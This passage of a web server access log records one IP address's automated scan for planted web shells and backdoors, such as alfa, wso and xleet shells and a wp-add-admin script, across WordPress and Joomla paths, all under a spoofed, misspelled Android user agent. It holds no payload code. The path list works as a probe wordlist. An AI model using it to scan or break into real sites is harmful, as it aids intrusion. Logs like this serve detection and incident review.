/wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:18 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:22 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:26 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:29 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:33 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:37 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:41 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:45 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:48 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:51 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:53 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:56 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:06:58 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:01 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:05 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:08 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:11 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:15 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:18 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:22 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:14 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:17 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:22 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:25 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:28 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:31 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:36 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:39 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:44 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:49 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:04:54 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:25 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:28 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:33 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:37 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:41 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:45 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:47 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:49 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:53 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:07:59 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:03 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:07 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:11 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:15 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:19 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:25 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:29 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:34 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:38 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:40 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:43 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:48 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:51 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:53 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:56 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:08:59 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:02 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:05 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:07 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:11 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:14 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:18 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:23 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:27 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:31 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:33 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:36 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:39 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:42 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:45 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:47 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:49 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:51 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:54 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:56 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:09:58 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:01 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:03 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:08 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:12 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:17 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:20 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:24 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:30 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:34 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:39 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:43 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:47 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:52 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [19/Apr/2025:12:10:56 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 